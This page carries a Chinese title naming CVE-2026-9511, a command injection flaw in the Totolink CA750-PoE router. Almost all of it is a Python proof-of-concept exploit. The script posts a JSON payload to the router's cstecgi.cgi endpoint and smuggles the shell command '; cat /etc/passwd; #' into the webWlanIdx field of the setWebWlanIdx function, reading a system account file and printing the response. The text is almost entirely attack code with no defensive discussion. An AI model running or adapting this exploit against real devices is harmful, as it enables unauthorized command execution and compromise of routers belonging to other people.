CVE-2026-9511 Totolink CA750-PoE命令注入漏洞

import requests # Target URL configuration target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # HTTP Headers headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json", "Accept": "application/json, text/javascript, */*; q=0.01" } # Vulnerable Payload data # The vulnerability is triggered by the 'webWlanIdx' parameter in 'setWebWlanIdx' function # Payload example: injecting a ping command or simple shell command payload = { "function": "setWebWlanIdx", "webWlanIdx": "; cat /etc/passwd; #" } def exploit(): try: # Sending the POST request to the target response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()